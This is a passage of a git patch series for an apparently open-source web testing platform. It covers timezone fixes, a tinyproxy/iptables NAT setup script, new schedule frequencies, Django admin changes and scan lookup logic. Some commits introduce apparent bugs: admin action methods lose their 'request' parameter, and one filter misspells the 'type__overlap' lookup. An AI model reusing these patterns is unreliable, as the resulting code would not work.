                 try:
@@ -647,7 +647,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='action', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -663,7 +663,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='action', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
 
                 try:
@@ -713,7 +713,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='action', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -729,7 +729,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='action', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
 
                 try:
@@ -779,7 +779,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='action', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -795,7 +795,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='action', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
                 
                 try:
@@ -846,7 +846,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='action', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -862,7 +862,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='action', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
                 
                 try:
@@ -922,7 +922,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='action', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -938,7 +938,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='action', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
                 
                 try:
@@ -989,7 +989,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='action', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -1005,7 +1005,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='assertion', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
 
                 try:
@@ -1064,7 +1064,7 @@ def run(self) -> None:
                 # update caserun
                 self.update_caserun(
                     index=i, type='assertion', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -1080,7 +1080,7 @@ def run(self) -> None:
                 status = 'passed'
                 self.update_caserun(
                     index=i, type='assertion', 
-                    start_time=datetime.now(timezone.utc)
+                    start_time=timezone.now()
                 )
 
                 try:
@@ -1126,7 +1126,7 @@ def run(self) -> None:
 
                 self.update_caserun(
                     index=i, type='assertion', 
-                    end_time=datetime.now(timezone.utc), 
+                    end_time=timezone.now(), 
                     status=status, 
                     exception=exception,
                     image=image
@@ -1139,7 +1139,7 @@ def run(self) -> None:
             i += 1  
 
         self.update_caserun(
-            time_completed=datetime.now(timezone.utc)
+            time_completed=timezone.now()
         )
         quit_driver(driver=self.driver)
         print('-- caserun run complete --')

From 05c37b7ad4c161aa5b5be3bdac78355c4d113342 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 31 Jul 2025 15:18:31 -0500
Subject: [PATCH 1008/1099] update: added prompts to NAT.sh script

---
 setup/scripts/nat.sh | 44 ++++++++++++++++++++++++++++++++++++--------
 1 file changed, 36 insertions(+), 8 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 4a1e358c..17ff39d1 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -2,11 +2,43 @@
 
 set -e
 
-# ====== Configuration ======
-VPC_CIDR="10.124.0.0/20"   # <-- Your VPC CIDR block
-LISTEN_PORT="8888"         # <-- Tinyproxy listen port
-# ============================
+# ========== Helper: Print usage ==========
+usage() {
+  echo "Usage: $0 [-c VPC_CIDR] [-p LISTEN_PORT]"
+  echo "  -c CIDR block (e.g., 10.0.0.0/16)"
+  echo "  -p Port to listen on (e.g., 8888)"
+  exit 1
+}
 
+# ========== Parse flags ==========
+while getopts ":c:p:" opt; do
+  case "${opt}" in
+    c)
+      VPC_CIDR="${OPTARG}"
+      ;;
+    p)
+      LISTEN_PORT="${OPTARG}"
+      ;;
+    *)
+      usage
+      ;;
+  esac
+done
+
+# ========== Prompt if not provided ==========
+if [ -z "$VPC_CIDR" ]; then
+  read -rp "Enter VPC CIDR block (e.g., 10.0.0.0/16): " VPC_CIDR
+fi
+
+if [ -z "$LISTEN_PORT" ]; then
+  read -rp "Enter listen port (e.g., 8888): " LISTEN_PORT
+fi
+
+# ========== Display final values ==========
+echo "Using VPC_CIDR: $VPC_CIDR"
+echo "Using LISTEN_PORT: $LISTEN_PORT"
+
+# ========== Begin Script ==========
 echo "[1/6] Updating system..."
 apt update -y
 apt install -y tinyproxy iptables-persistent curl
@@ -45,18 +77,14 @@ systemctl restart tinyproxy
 systemctl enable tinyproxy
 
 echo "[4/6] Setting up IP forwarding..."
-
-# Enable IP forwarding
 sysctl -w net.ipv4.ip_forward=1
 echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
 
 echo "[5/6] Configuring iptables (NAT fallback)..."
-# Flush existing rules & add new redirects
 iptables -t nat -F
 iptables -A FORWARD -i eth0 -j ACCEPT
 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
 
-# Save iptables rules
 netfilter-persistent save
 netfilter-persistent reload
 

From a9d5ca408fb7375be97ac8e4438304a9548dc7ef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 31 Jul 2025 16:59:47 -0500
Subject: [PATCH 1009/1099] updated: cleaned up nat script

---
 setup/scripts/nat.sh | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 17ff39d1..42708ecd 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# If using k8s, the VP_CIDR is likely specific to the cluster
+
 
 set -e
 
@@ -67,9 +69,6 @@ MaxRequestsPerChild 0
 ViaProxyName "tinyproxy"
 
 Allow $VPC_CIDR
-
-ConnectPort 443
-ConnectPort 563
 EOF
 
 echo "[3/6] Restarting tinyproxy..."

From 2a0294d558c1bf61f59ad0bfdaf4361cb359d50b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 11 Aug 2025 13:39:03 -0700
Subject: [PATCH 1010/1099] fix: preventing FlowRuns from running in EU

---
 app/api/tasks.py | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 70564ebd..d3607c1c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2451,13 +2451,13 @@ def create_flowrun_bg(*args, **kwargs) -> None:
     """
 
     # get data
-    flow_id = kwargs.get('flow_id')
-    account_id = kwargs.get('account_id')
-    resources = kwargs.get('resources', [])
-    scope = kwargs.get('scope')
-    alert_id = kwargs.get('alert_id')
-    task_id = kwargs.get('task_id')
-    configs = kwargs.get('configs', settings.CONFIGS)
+    flow_id     = kwargs.get('flow_id')
+    account_id  = kwargs.get('account_id')
+    resources   = kwargs.get('resources', [])
+    scope       = kwargs.get('scope')
+    alert_id    = kwargs.get('alert_id')
+    task_id     = kwargs.get('task_id')
+    configs     = kwargs.get('configs', settings.CONFIGS)
 
     # check for redis lock
     redis_id = task_id if task_id else secrets.token_hex(8)
@@ -2470,7 +2470,7 @@ def create_flowrun_bg(*args, **kwargs) -> None:
             return None
 
         # checking location
-        if not check_location(configs.get('location', settings.LOCATION)):
+        if not check_location(configs.get('location', 'us')): # not using `settings.LOCATION` for now
             logger.info('Not running due to location param')
             return None
 

From e089d31b529f70aa12e8b797cf77acd59003f055 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 12:11:34 -0600
Subject: [PATCH 1011/1099] update: new 10 & 30 min freqs for `Schedules`

---
 app/api/v1/ops/services.py | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 7eddfb88..4300ac79 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -12,15 +12,14 @@
 from redis import Redis
 from redis.exceptions import RedisError
 from cursion import settings
-from celery import app
 from .serializers import *
 from ...tasks import *
 from ...models import *
 from ...utils.reporter import Reporter as R
 from ...utils.devices import devices
 from ...utils.issuer import Issuer
-from datetime import datetime, timedelta, timezone as tz
-import json, boto3, asyncio, os, requests, uuid, secrets
+from datetime import datetime, timedelta
+import json, boto3, os, requests, uuid, secrets
 
 
 
@@ -3721,7 +3720,17 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         hour = time[0:2]
 
         # building cron expression freq
-        if freq == 'hourly':
+        if freq == '10-min':
+            minute = '*/10'
+            hour = '*'
+            day_of_week = '*'
+            day_of_month = '*'
+        elif freq == '30-min':
+            minute = '*/30'
+            hour = '*'
+            day_of_week = '*'
+            day_of_month = '*'
+        elif freq == 'hourly':
             hour = '*/1'
             day_of_week = '*'
             day_of_month = '*'

From 1677da21e75e0c967b75037bd33af47b40f37e36 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 12:12:14 -0600
Subject: [PATCH 1012/1099] fix: removed unnecessary args and imports

---
 app/api/tasks.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index d3607c1c..e1c13364 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -782,9 +782,9 @@ def update_scan_score(self, scan_id: str) -> None:
 
     # get latest scan scores
     if scan.lighthouse['scores']['average'] is not None:
-        scans.append(scan.lighthouse['scores']['average'])
+        scores.append(scan.lighthouse['scores']['average'])
     if scan.yellowlab['scores']['globalScore'] is not None:
-        scans.append(scan.yellowlab['scores']['globalScore'])
+        scores.append(scan.yellowlab['scores']['globalScore'])
     
     # calc average score
     if len(scores) > 0:
@@ -934,7 +934,7 @@ def create_scan(
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_scan_bg(self, *args, **kwargs) -> None:
+def create_scan_bg(self, **kwargs) -> None:
     """ 
     Creates 1 or more `Scans` depending on 
     the scope (page, site or account). Used with `Schedules`
@@ -1739,7 +1739,7 @@ def create_test(
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_test_bg(self, *args, **kwargs) -> None:
+def create_test_bg(self, **kwargs) -> None:
     """ 
     Depending on the scope, run create_test() for 
     all requested pages.
@@ -2003,7 +2003,7 @@ def create_report(
 
 
 @shared_task
-def create_report_bg(*args, **kwargs) -> None:
+def create_report_bg(**kwargs) -> None:
     """
     Creates new `Reports` for the requested `Pages`
 
@@ -2263,7 +2263,7 @@ def run_case(
 
 
 @shared_task
-def create_caserun_bg(*args, **kwargs) -> None:
+def create_caserun_bg(**kwargs) -> None:
     """ 
     Creates and or runs a CaseRun.
 
@@ -2433,7 +2433,7 @@ def create_caserun_bg(*args, **kwargs) -> None:
 
 
 @shared_task
-def create_flowrun_bg(*args, **kwargs) -> None:
+def create_flowrun_bg(**kwargs) -> None:
     """ 
     Creates and runs a FlowRun.
 

From a31c8e25211a0cee75850b2c8ba999d67d0a4a3a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 12:12:41 -0600
Subject: [PATCH 1013/1099] fix: removed unnecessary imports

---
 app/api/utils/flowr.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index faee7c10..b2575138 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -7,10 +7,9 @@
     send_phone_bg, send_email_bg, 
     send_slack_bg, send_webhook_bg
 )
-from cursion import settings
 from django.utils import timezone
 from datetime import datetime
-import time, uuid, json, boto3, os, requests, uuid, random
+import time, uuid, uuid, random
 
 
 

From 086298ded0c2ba32e810ccc33297bb010ab9519a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 12:13:14 -0600
Subject: [PATCH 1014/1099] feature: added new `api_priority` to `configs`

---
 app/api/utils/lighthouse.py | 8 ++++----
 app/cursion/settings.py     | 1 +
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 5a10859c..2cafcd90 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -320,13 +320,13 @@ def get_data(self):
         while not scan_complete and attempts < 2:
 
             try:
-                # CLI on first attempt
-                if attempts < 1:
+                # CLI on first attempt if not API Priority
+                if attempts < 1 and not self.configs.get('api_priority'):
                     raw_data = self.lighthouse_cli()
                     self.process_data(stdout_json=raw_data)
                 
-                # API after first attempt
-                if attempts >= 1:
+                # API after first attempt or if API Priority
+                if attempts >= 1 or self.configs.get('api_priority'):
                     raw_data = self.lighthouse_api()
                     self.process_data(stdout_json=raw_data)
 
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 940aae6d..502ec9b6 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -274,6 +274,7 @@
     'create_issue': True,
     'end_on_fail': True,
     'ai_analysis': False,
+    'api_priority': False,
 }
 
 

From 80d00ee0cd3739b9499f9381539211be365bb417 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 12:38:25 -0600
Subject: [PATCH 1015/1099] fix: removed `postgresql`,
 `software-properties-common`, `apt-transport-https`

---
 Dockerfile | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 1392ec25..d5d01b5b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -27,7 +27,6 @@ RUN apt-get clean && rm -rf /var/lib/apt/lists/*
 
 # installing system deps
 RUN apt-get update && apt-get install -y --no-install-recommends \
-    postgresql \
     postgresql-client \
     gcc \
     make \
@@ -47,9 +46,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     libglib2.0-0 \
     libfreetype6 \
     ca-certificates \
-    libfontconfig \
-    apt-transport-https \
-    software-properties-common
+    libfontconfig
      
 # installing firefox-esr
 RUN apt-get update && apt-get install -y --no-install-recommends firefox-esr

From c56176c3d8f473343e9420a2aeee8838cac4b4c2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 12:44:30 -0600
Subject: [PATCH 1016/1099] fix: added `gnupg`

---
 Dockerfile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index d5d01b5b..27762225 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -46,7 +46,8 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     libglib2.0-0 \
     libfreetype6 \
     ca-certificates \
-    libfontconfig
+    libfontconfig \
+    gnupg
      
 # installing firefox-esr
 RUN apt-get update && apt-get install -y --no-install-recommends firefox-esr

From eb52cb7c6ea30132cafb7ac6c3962623afea6a92 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 13:24:33 -0600
Subject: [PATCH 1017/1099] update: added `raw_id_fields` for PK display in
 Django Admin

---
 app/api/admin.py | 98 +++++++++++++++++++++++++++---------------------
 1 file changed, 56 insertions(+), 42 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index cf519019..ffa4c920 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -24,7 +24,7 @@ class AccountAdmin(admin.ModelAdmin):
     search_fields = ('__str__',)
     actions = ['reset_usage',]
 
-    def reset_usage(self, request, queryset):
+    def reset_usage(self, queryset):
         for account in queryset:
             reset_account_usage.delay(
                 account_id=account.id
@@ -54,29 +54,30 @@ class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
     search_fields = ('site_url', 'account__name')
     actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites']
+    raw_id_fields = ('account', 'user',)
 
-    def crawl_sites(self, request, queryset):
+    def crawl_sites(self, queryset):
         for site in queryset:
             crawl_site(
                 id=site.id,
                 user=site.account.user
             )
 
-    def scan_sites(self, request, queryset):
+    def scan_sites(self, queryset):
         for site in queryset:
             create_scan(
                 site_id=site.id,
                 user_id=site.account.user.id
             )
     
-    def test_sites(self, request, queryset):
+    def test_sites(self, queryset):
         for site in queryset:
             create_test(
                 site_id=site.id,
                 user_id=site.account.user.id
             )
     
-    def delete_sites(self, request, queryset):
+    def delete_sites(self, queryset):
         for site in queryset:
             delete_site(
                 id=site.id,
@@ -87,26 +88,27 @@ def delete_sites(self, request, queryset):
 
 
 @admin.register(Page)
-class SiteAdmin(admin.ModelAdmin):
+class PageAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
     search_fields = ('page_url', 'account__name')
     actions = ['scan_pages', 'test_pages', 'delete_pages',]
+    raw_id_fields = ('account', 'user', 'site')
 
-    def scan_pages(self, request, queryset):
+    def scan_pages(self, queryset):
         for page in queryset:
             create_scan(
                 page_id=page.id,
                 user_id=page.account.user.id
             )
     
-    def test_pages(self, request, queryset):
+    def test_pages(self, queryset):
         for page in queryset:
             create_test(
                 page_id=page.id,
                 user_id=page.account.user.id
             )
     
-    def delete_pages(self, request, queryset):
+    def delete_pages(self, queryset):
         for page in queryset:
             delete_page(
                 id=page.id,
@@ -116,59 +118,63 @@ def delete_pages(self, request, queryset):
 
 
 
-@admin.register(Test)
-class TestAdmin(admin.ModelAdmin):
-    list_display = ('id', 'page', 'time_created', 'time_completed', 'status', 'score')
-    search_fields = ('page__page_url',)
-    actions = ['delete_tests',]
-
-    def change_view(self, request, object_id, form_url='', extra_context=None):
-        # Avoid streaming cursors by evaluating related objects early
-        obj = self.get_object(request, object_id)
-        if obj is not None:
-            # Force evaluation of any heavy reverse relationships
-            _ = obj.pre_scan
-            _ = obj.post_scan
-
-        return super().change_view(request, object_id, form_url, extra_context)
-
-    def delete_tests(self, request, queryset):
-        for test in queryset:
-            delete_test(
-                id=test.id,
-                user=test.page.account.user
-            )
-
-
-
 @admin.register(Scan)
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
     search_fields = ('page__page_url',)
     actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ]
+    raw_id_fields = ('site', 'page',)
 
-    def delete_scans(self, request, queryset):
+    def delete_scans(self, queryset):
         for scan in queryset:
             delete_scan(
                 id=scan.id,
                 user=scan.page.account.user
             )
     
-    def add_scan_score(self, request, queryset):
+    def add_scan_score(self, queryset):
         for scan in queryset:
             update_scan_score.delay(
                 scan_id=scan.id
             )
 
-    def mark_as_completed(self, request, queryset):
+    def mark_as_completed(self, queryset):
         queryset.update(time_completed=datetime.now())
 
 
 
 
+@admin.register(Test)
+class TestAdmin(admin.ModelAdmin):
+    list_display = ('id', 'page', 'time_created', 'time_completed', 'status', 'score')
+    search_fields = ('page__page_url',)
+    actions = ['delete_tests',]
+    raw_id_fields = ('site', 'page', 'pre_scan', 'post_scan',)
+
+    def change_view(self, object_id, form_url='', extra_context=None):
+        # Avoid streaming cursors by evaluating related objects early
+        obj = self.get_object(object_id)
+        if obj is not None:
+            # Force evaluation of any heavy reverse relationships
+            _ = obj.pre_scan
+            _ = obj.post_scan
+
+        return super().change_view(object_id, form_url, extra_context)
+
+    def delete_tests(self, queryset):
+        for test in queryset:
+            delete_test(
+                id=test.id,
+                user=test.page.account.user
+            )
+
+
+
+
 @admin.register(Report)
 class ReportAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'user')
+    raw_id_fields = ('site', 'page', 'user', 'account',)
 
 
 
@@ -183,6 +189,7 @@ class LogAdmin(admin.ModelAdmin):
 @admin.register(Schedule)
 class ScheduleAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_last_run', 'status', 'user', 'time_created')
+    raw_id_fields = ('user', 'account',)
 
 
 
@@ -190,6 +197,7 @@ class ScheduleAdmin(admin.ModelAdmin):
 @admin.register(Alert)
 class AlertAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'schedule', 'user')
+    raw_id_fields = ('user', 'account',)
 
 
 
@@ -206,15 +214,16 @@ class CaseAdmin(admin.ModelAdmin):
     list_display = ('title', 'user', 'site', 'time_created',)
     search_fields = ('title', 'site__site_url')
     actions = ['delete_cases', 'start_pre_run']
+    raw_id_fields = ('user', 'account', 'site')
 
-    def delete_cases(self, request, queryset):
+    def delete_cases(self, queryset):
         for case in queryset:
             delete_case(
                 id=case.id,
                 user=case.user
             )
     
-    def start_pre_run(self, request, queryset):
+    def start_pre_run(self, queryset):
         for case in queryset:
             case_pre_run(**{
                 'case_id': str(case.id),
@@ -228,10 +237,11 @@ def start_pre_run(self, request, queryset):
 class CaseRunAdmin(admin.ModelAdmin):
     list_display = ('title', 'user', 'time_created', 'time_completed',)
     search_fields = ('title', 'site__site_url')
+    raw_id_fields = ('user', 'account', 'site')
 
     actions = ['delete_caseruns',]
 
-    def delete_caseruns(self, request, queryset):
+    def delete_caseruns(self, queryset):
         for caserun in queryset:
             delete_caserun(
                 id=caserun.id,
@@ -245,6 +255,7 @@ def delete_caseruns(self, request, queryset):
 class IssueAdmin(admin.ModelAdmin):
     list_display = ('title', 'account', 'time_created', 'status',)
     search_fields = ('title', 'affected')
+    raw_id_fields = ('account',)
 
 
 
@@ -253,6 +264,7 @@ class IssueAdmin(admin.ModelAdmin):
 class FlowAdmin(admin.ModelAdmin):
     list_display = ('title', 'account', 'time_created',)
     search_fields = ('title',)
+    raw_id_fields = ('user', 'account',)
 
 
 
@@ -261,6 +273,7 @@ class FlowAdmin(admin.ModelAdmin):
 class FlowRunAdmin(admin.ModelAdmin):
     list_display = ('title', 'account', 'site', 'time_created', 'time_completed', 'status')
     search_fields = ('title', 'site__site_url',)
+    raw_id_fields = ('user', 'account', 'site')
 
 
 
@@ -268,6 +281,7 @@ class FlowRunAdmin(admin.ModelAdmin):
 @admin.register(Secret)
 class SecretAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'account', 'time_created',)
+    raw_id_fields = ('user', 'account',)
 
 
 
@@ -286,10 +300,10 @@ class MaskAdmin(admin.ModelAdmin):
     search_fields = ('mask_id',)
     actions = ['mark_as_inactive', 'mark_as_active',]
     
-    def mark_as_inactive(self, request, queryset):
+    def mark_as_inactive(self, queryset):
         queryset.update(active=False)
     
-    def mark_as_active(self, request, queryset):
+    def mark_as_active(self, queryset):
         queryset.update(active=True)
 
 

From 895d92b083980e22d1e602a2cc262c58e6dfb8c6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 13:26:37 -0600
Subject: [PATCH 1018/1099] fix: typos

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 03be226f..568f5b25 100644
--- a/README.md
+++ b/README.md
@@ -65,7 +65,7 @@ API-first, open-source, and beginner friendly. Cursion is built for the busy dev
 - [x] [Lighthouse](https://github.com/GoogleChrome/lighthouse) Performance Testing
 - [x] [YellowLab](https://github.com/YellowLabTools/YellowLabTools) Performance Testing
 - [x] Selenium-based Functional Testing
-- [x] Functional Test Genmerator
+- [x] Functional Test Generator
 - [x] A.I. Generated Issues (via OpenAI)
 - [x] A.I. VRT Analysis & Review (via OpenAI)
 

From 7d96fcc22dc5e2797a16e1fa545537d89702c1db Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 14:22:03 -0600
Subject: [PATCH 1019/1099] refactor: remove unused change_view method and
 update raw_id_fields in TestAdmin, CaseAdmin, and FlowRunAdmin

---
 app/api/admin.py | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index ffa4c920..c27974cf 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -151,16 +151,6 @@ class TestAdmin(admin.ModelAdmin):
     actions = ['delete_tests',]
     raw_id_fields = ('site', 'page', 'pre_scan', 'post_scan',)
 
-    def change_view(self, object_id, form_url='', extra_context=None):
-        # Avoid streaming cursors by evaluating related objects early
-        obj = self.get_object(object_id)
-        if obj is not None:
-            # Force evaluation of any heavy reverse relationships
-            _ = obj.pre_scan
-            _ = obj.post_scan
-
-        return super().change_view(object_id, form_url, extra_context)
-
     def delete_tests(self, queryset):
         for test in queryset:
             delete_test(
@@ -237,7 +227,7 @@ def start_pre_run(self, queryset):
 class CaseRunAdmin(admin.ModelAdmin):
     list_display = ('title', 'user', 'time_created', 'time_completed',)
     search_fields = ('title', 'site__site_url')
-    raw_id_fields = ('user', 'account', 'site')
+    raw_id_fields = ('user', 'account', 'site', 'case')
 
     actions = ['delete_caseruns',]
 
@@ -273,7 +263,7 @@ class FlowAdmin(admin.ModelAdmin):
 class FlowRunAdmin(admin.ModelAdmin):
     list_display = ('title', 'account', 'site', 'time_created', 'time_completed', 'status')
     search_fields = ('title', 'site__site_url',)
-    raw_id_fields = ('user', 'account', 'site')
+    raw_id_fields = ('user', 'account', 'site', 'flow')
 
 
 

From 34e05da6600775d024b6f2bf17e66f0b7bd006dc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 31 Aug 2025 15:29:28 -0600
Subject: [PATCH 1020/1099] fix: added `paired_scan` to `raw_id_fields`

---
 app/api/admin.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index c27974cf..4e0fcc7f 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -123,7 +123,7 @@ class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
     search_fields = ('page__page_url',)
     actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ]
-    raw_id_fields = ('site', 'page',)
+    raw_id_fields = ('site', 'page', 'paired_scan',)
 
     def delete_scans(self, queryset):
         for scan in queryset:

From 5a2011b7d522da9dccbb7a3fbae22cd780b50ebe Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 12:16:54 -0400
Subject: [PATCH 1021/1099] fix: improve pre_scan retrieval logic to match
 window size and types

---
 app/api/tasks.py           | 27 +++++++++++++++++----------
 app/api/v1/ops/services.py |  8 ++++++--
 2 files changed, 23 insertions(+), 12 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e1c13364..24b5b6cd 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1589,8 +1589,21 @@ def create_test(
         post_scan = Scan.objects.get(id=post_scan)
     if post_scan is None or pre_scan is None:
         if pre_scan is None:
-            # check for pre_scan existance 
-            if not Scan.objects.filter(page=page).exclude(time_completed=None).exists():
+
+            # get latest pre_scan (matching page, type, and window_size)
+            pre_scan = (
+                Scan.objects.filter(
+                    page=page,
+                    type__overlap=type,
+                    configs__window_size=configs.get('window_size')
+                )
+                .exclude(time_completed=None)
+                .order_by('-time_completed')
+                .first()
+            )
+            
+            # check for pre_scan existance
+            if not pre_scan:
                 
                 # create new scan if none exists
                 new_scan = Scan.objects.create(
@@ -1635,13 +1648,7 @@ def create_test(
                 # return None
                 logger.info('no pre_scan available to create Test with')
                 return None
-                
-            # get pre_scan if exists
-            pre_scan = Scan.objects.filter(
-                page=page
-            ).exclude(
-                time_completed=None
-            ).order_by('-time_completed')[0]
+
 
         # check and increment resources
         if not check_and_increment_resource(page.account.id, 'scans'):
@@ -1712,7 +1719,7 @@ def create_test(
         
     # updating parired scans
     pre_scan.paired_scan    = post_scan
-    post_scan.paried_scan   = pre_scan
+    post_scan.paired_scan   = pre_scan
     pre_scan.save()
     post_scan.save()
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 4300ac79..a3512335 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2286,9 +2286,13 @@ def create_test(request: object=None, **kwargs) -> object:
                     return Response(data, status=status.HTTP_404_NOT_FOUND)
                 return data
 
-        # grabbing most recent Scan 
+        # grabbing most recent Scan with matching window size and types
         if pre_scan_id is None:
-            pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
+            pre_scan = Scan.objects.filter(
+                page=p,
+                configs__window_size=configs.get('window_size'),
+                type_overlap=test_type
+            ).order_by('-time_created').first()
 
         # verifying pre_ and post_ scans completion
         if pre_scan:

From 812dbdd2ba9dc2b1cd7983df5de803e335a45f3b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 15:11:51 -0400
Subject: [PATCH 1022/1099] refactor: streamline image handling methods and
 enhance screenshot functionality

---
 app/api/utils/driver.py |   4 +-
 app/api/utils/imager.py | 315 +++++++++++++++++++++++++++-------------
 2 files changed, 220 insertions(+), 99 deletions(-)

